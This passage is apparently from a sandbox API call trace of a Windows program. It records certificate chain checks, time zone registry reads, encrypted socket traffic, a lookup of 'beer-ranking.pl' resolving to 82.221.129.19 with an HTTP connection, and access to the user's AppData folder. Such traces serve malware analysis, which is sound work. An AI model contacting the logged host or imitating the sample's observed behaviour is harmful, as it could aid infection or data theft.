0x238870 [0066.230] CertDuplicateCRLContext (pCrlContext=0x238870) returned 0x238870 [0066.230] CertEnumCertificatesInStore (hCertStore=0x1deb08, pPrevCertContext=0x238870) returned 0x238820 [0066.230] CertDuplicateCRLContext (pCrlContext=0x238820) returned 0x238820 [0066.230] CertEnumCertificatesInStore (hCertStore=0x1deb08, pPrevCertContext=0x238820) returned 0x0 [0066.230] CertCloseStore (hCertStore=0x1deb08, dwFlags=0x0) returned 1 [0066.230] CertFreeCRLContext (pCrlContext=0x238820) returned 1 [0066.236] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x21b108 [0066.242] CertAddCRLLinkToStore (in: hCertStore=0x21b108, pCrlContext=0x238870, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0066.243] CertAddCRLLinkToStore (in: hCertStore=0x21b108, pCrlContext=0x238820, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0066.243] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x603e42c | out: pTimeZoneInformation=0x603e42c) returned 0x2 [0066.244] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x603e50c | out: phkResult=0x603e50c*=0x5d0) returned 0x0 [0066.244] RegQueryValueExW (in: hKey=0x5d0, lpValueName="TZI", lpReserved=0x0, lpType=0x603e528, lpData=0x0, lpcbData=0x603e524*=0x0 | out: lpType=0x603e528*=0x3, lpData=0x0, lpcbData=0x603e524*=0x2c) returned 0x0 [0066.244] RegQueryValueExW (in: hKey=0x5d0, lpValueName="TZI", lpReserved=0x0, lpType=0x603e528, lpData=0x2650f54, lpcbData=0x603e524*=0x2c | out: lpType=0x603e528*=0x3, lpData=0x2650f54*, lpcbData=0x603e524*=0x2c) returned 0x0 [0066.244] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x603e334 | out: phkResult=0x603e334*=0x5cc) returned 0x0 [0066.244] RegQueryValueExW (in: hKey=0x5cc, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x603e350, lpData=0x0, lpcbData=0x603e34c*=0x0 | out: lpType=0x603e350*=0x4, lpData=0x0, lpcbData=0x603e34c*=0x4) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x603e350, lpData=0x603e33c, lpcbData=0x603e34c*=0x4 | out: lpType=0x603e350*=0x4, lpData=0x603e33c*=0x7d7, lpcbData=0x603e34c*=0x4) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="LastEntry", lpReserved=0x0, lpType=0x603e350, lpData=0x0, lpcbData=0x603e34c*=0x0 | out: lpType=0x603e350*=0x4, lpData=0x0, lpcbData=0x603e34c*=0x4) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="LastEntry", lpReserved=0x0, lpType=0x603e350, lpData=0x603e33c, lpcbData=0x603e34c*=0x4 | out: lpType=0x603e350*=0x4, lpData=0x603e33c*=0x7d8, lpcbData=0x603e34c*=0x4) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="2007", lpReserved=0x0, lpType=0x603e350, lpData=0x0, lpcbData=0x603e34c*=0x0 | out: lpType=0x603e350*=0x3, lpData=0x0, lpcbData=0x603e34c*=0x2c) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="2007", lpReserved=0x0, lpType=0x603e350, lpData=0x265152c, lpcbData=0x603e34c*=0x2c | out: lpType=0x603e350*=0x3, lpData=0x265152c*, lpcbData=0x603e34c*=0x2c) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="2008", lpReserved=0x0, lpType=0x603e350, lpData=0x0, lpcbData=0x603e34c*=0x0 | out: lpType=0x603e350*=0x3, lpData=0x0, lpcbData=0x603e34c*=0x2c) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5cc, lpValueName="2008", lpReserved=0x0, lpType=0x603e350, lpData=0x26515e8, lpcbData=0x603e34c*=0x2c | out: lpType=0x603e350*=0x3, lpData=0x26515e8*, lpcbData=0x603e34c*=0x2c) returned 0x0 [0066.245] RegCloseKey (hKey=0x5cc) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x603e500, lpData=0x0, lpcbData=0x603e4fc*=0x0 | out: lpType=0x603e500*=0x1, lpData=0x0, lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x603e500, lpData=0x2651730, lpcbData=0x603e4fc*=0x20 | out: lpType=0x603e500*=0x1, lpData="@tzres.dll,-670", lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x603e500, lpData=0x0, lpcbData=0x603e4fc*=0x0 | out: lpType=0x603e500*=0x1, lpData=0x0, lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x603e500, lpData=0x2651788, lpcbData=0x603e4fc*=0x20 | out: lpType=0x603e500*=0x1, lpData="@tzres.dll,-672", lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.245] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x603e500, lpData=0x0, lpcbData=0x603e4fc*=0x0 | out: lpType=0x603e500*=0x1, lpData=0x0, lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.246] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x603e500, lpData=0x26517e0, lpcbData=0x603e4fc*=0x20 | out: lpType=0x603e500*=0x1, lpData="@tzres.dll,-671", lpcbData=0x603e4fc*=0x20) returned 0x0 [0066.246] CoTaskMemAlloc (cb=0x20c) returned 0x266248 [0066.246] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x266248 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0066.247] CoTaskMemFree (pv=0x266248) [0066.247] CoTaskMemAlloc (cb=0x20c) returned 0x266248 [0066.247] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath=0x266248, pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514 | out: pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514) returned 1 [0066.272] CoTaskMemFree (pv=0x266248) [0066.272] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe20001 [0066.488] CoTaskMemAlloc (cb=0x3ec) returned 0x2492d8 [0066.488] LoadStringW (in: hInstance=0xe20001, uID=0x29e, lpBuffer=0x2492d8, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0066.488] CoTaskMemFree (pv=0x2492d8) [0066.489] FreeLibrary (hLibModule=0xe20001) returned 1 [0066.489] CoTaskMemAlloc (cb=0x20c) returned 0x266d28 [0066.489] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x266d28 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0066.489] CoTaskMemFree (pv=0x266d28) [0066.489] CoTaskMemAlloc (cb=0x20c) returned 0x266d28 [0066.489] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath=0x266d28, pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514 | out: pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514) returned 1 [0066.490] CoTaskMemFree (pv=0x0) [0066.490] CoTaskMemFree (pv=0x266d28) [0066.490] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe20001 [0066.492] CoTaskMemAlloc (cb=0x3ec) returned 0x2492d8 [0066.492] LoadStringW (in: hInstance=0xe20001, uID=0x2a0, lpBuffer=0x2492d8, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0066.492] CoTaskMemFree (pv=0x2492d8) [0066.492] FreeLibrary (hLibModule=0xe20001) returned 1 [0066.492] CoTaskMemAlloc (cb=0x20c) returned 0x266d28 [0066.492] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x266d28 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0066.492] CoTaskMemFree (pv=0x266d28) [0066.492] CoTaskMemAlloc (cb=0x20c) returned 0x266d28 [0066.492] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath=0x266d28, pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514 | out: pwszLanguage=0x0, pcchLanguage=0x603e51c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x603e520, pululEnumerator=0x603e514) returned 1 [0066.493] CoTaskMemFree (pv=0x0) [0066.493] CoTaskMemFree (pv=0x266d28) [0066.493] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe20001 [0066.495] CoTaskMemAlloc (cb=0x3ec) returned 0x2492d8 [0066.495] LoadStringW (in: hInstance=0xe20001, uID=0x29f, lpBuffer=0x2492d8, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0066.495] CoTaskMemFree (pv=0x2492d8) [0066.495] FreeLibrary (hLibModule=0xe20001) returned 1 [0066.495] RegCloseKey (hKey=0x5d0) returned 0x0 [0066.496] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x238820, pTime=0x603e794, hAdditionalStore=0x21b108, pChainPara=0x603e6dc, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x603e6d0 | out: ppChainContext=0x603e6d0) returned 1 [0069.697] CertDuplicateCertificateChain (pChainContext=0x6ff3450) returned 0x6ff3450 [0069.697] CertDuplicateCRLContext (pCrlContext=0x238820) returned 0x238820 [0069.697] CertDuplicateCRLContext (pCrlContext=0x6fd9270) returned 0x6fd9270 [0069.697] CertDuplicateCRLContext (pCrlContext=0x6fd93b0) returned 0x6fd93b0 [0069.697] CertFreeCertificateChain (pChainContext=0x6ff3450) [0069.698] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x6ff3450, pPolicyPara=0x603e894, pPolicyStatus=0x603e880 | out: pPolicyStatus=0x603e880) returned 1 [0069.698] SetLastError (dwErrCode=0x0) [0069.699] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x6ff3450, pPolicyPara=0x603e90c, pPolicyStatus=0x603e8a4 | out: pPolicyStatus=0x603e8a4) returned 1 [0069.699] CertFreeCertificateChain (pChainContext=0x6ff3450) [0069.699] CertFreeCRLContext (pCrlContext=0x238820) returned 1 [0069.700] EncryptMessage (in: phContext=0x25e2a60, fQOP=0x0, pMessage=0x29359d8, MessageSeqNo=0x0 | out: pMessage=0x29359d8) returned 0x0 [0069.700] send (in: s=0x498, buf=0x2935850*, len=101, flags=0 | out: buf=0x2935850*) returned 101 [0069.700] setsockopt (s=0x498, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0069.701] recv (in: s=0x498, buf=0x2935b48, len=5, flags=0 | out: buf=0x2935b48*) returned 5 [0069.772] recv (in: s=0x498, buf=0x260d03d, len=352, flags=0 | out: buf=0x260d03d*) returned 352 [0069.772] DecryptMessage (in: phContext=0x25df494, pMessage=0x260d238, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x260d238, pfQOP=0x0) returned 0x0 [0069.826] setsockopt (s=0x498, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0069.832] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0x603f0d4 | out: lpdwProcessId=0x603f0d4) returned 0xa94 [0069.832] GetCurrentThreadId () returned 0xab4 [0069.832] PostMessageW (hWnd=0x3010c, Msg=0xc1c2, wParam=0x0, lParam=0x0) returned 1 [0069.860] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.862] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.883] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.883] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.886] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.888] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.890] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.899] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.901] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.903] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.904] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.906] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.909] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.915] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.920] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0069.922] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.022] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.071] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.109] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.114] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.195] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.245] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.292] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.368] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.401] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.403] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.522] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.575] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.724] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.762] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.762] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.762] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0090.958] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.008] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.060] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.116] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.142] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.177] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.232] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.235] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.236] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.246] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.252] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.286] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0091.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 Thread: id = 66 os_tid = 0xab8 Thread: id = 67 os_tid = 0xabc Thread: id = 68 os_tid = 0xac0 Thread: id = 69 os_tid = 0xac4 Thread: id = 70 os_tid = 0xac8 Thread: id = 71 os_tid = 0xacc [0065.715] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0065.720] ResetEvent (hEvent=0x360) returned 1 Thread: id = 72 os_tid = 0xad0 [0065.812] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0065.813] CoGetContextToken (in: pToken=0x6cff8a4 | out: pToken=0x6cff8a4) returned 0x0 [0065.813] IUnknown:QueryInterface (in: This=0x1ae958, riid=0x6ab25ee8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6cff8c8 | out: ppvObject=0x6cff8c8*=0x1ae964) returned 0x0 [0065.813] IComThreadingInfo:GetCurrentThreadType (in: This=0x1ae964, pThreadType=0x6cff8f4 | out: pThreadType=0x6cff8f4*=0) returned 0x0 [0065.813] IUnknown:Release (This=0x1ae964) returned 0x0 [0065.813] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0065.813] CoUninitialize () [0065.823] QueryPerformanceCounter (in: lpPerformanceCount=0x6cff350 | out: lpPerformanceCount=0x6cff350*=376619538) returned 1 [0065.823] SetEvent (hEvent=0x360) returned 1 [0065.823] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d0 [0065.824] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d4 [0065.824] GetAddrInfoW (in: pNodeName="beer-ranking.pl", pServiceName=0x0, pHints=0x6cff09c*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x6cff044 | out: ppResult=0x6cff044*=0x226898*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="beer-ranking.pl", ai_addr=0x2369f8*(sa_family=2, sin_port=0x0, sin_addr="82.221.129.19"), ai_next=0x0)) returned 0 [0065.826] FreeAddrInfoW (pAddrInfo=0x226898*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="beer-ranking.pl", ai_addr=0x2369f8*(sa_family=2, sin_port=0x0, sin_addr="82.221.129.19"), ai_next=0x0)) [0065.826] WSAConnect (in: s=0x4d0, name=0x2644bf8*(sa_family=2, sin_port=0x50, sin_addr="82.221.129.19"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0065.898] closesocket (s=0x4d4) returned 0 [0065.899] send (in: s=0x4d0, buf=0x2646b30*, len=69, flags=0 | out: buf=0x2646b30*) returned 69 [0065.900] setsockopt (s=0x4d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0065.900] recv (in: s=0x4d0, buf=0x26431ec, len=4096, flags=0 | out: buf=0x26431ec*) returned 479 [0065.986] setsockopt (s=0x4d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0065.986] SetEvent (hEvent=0x360) returned 1 [0066.016] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0x6cff3e4 | out: lpdwProcessId=0x6cff3e4) returned 0xa94 [0066.016] GetCurrentThreadId () returned 0xad0 [0066.016] PostMessageW (hWnd=0x3010c, Msg=0xc1c2, wParam=0x0, lParam=0x0) returned 1 [0066.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.030] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.055] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.056] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.057] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.057] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0066.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0066.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0066.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xdc00de80, 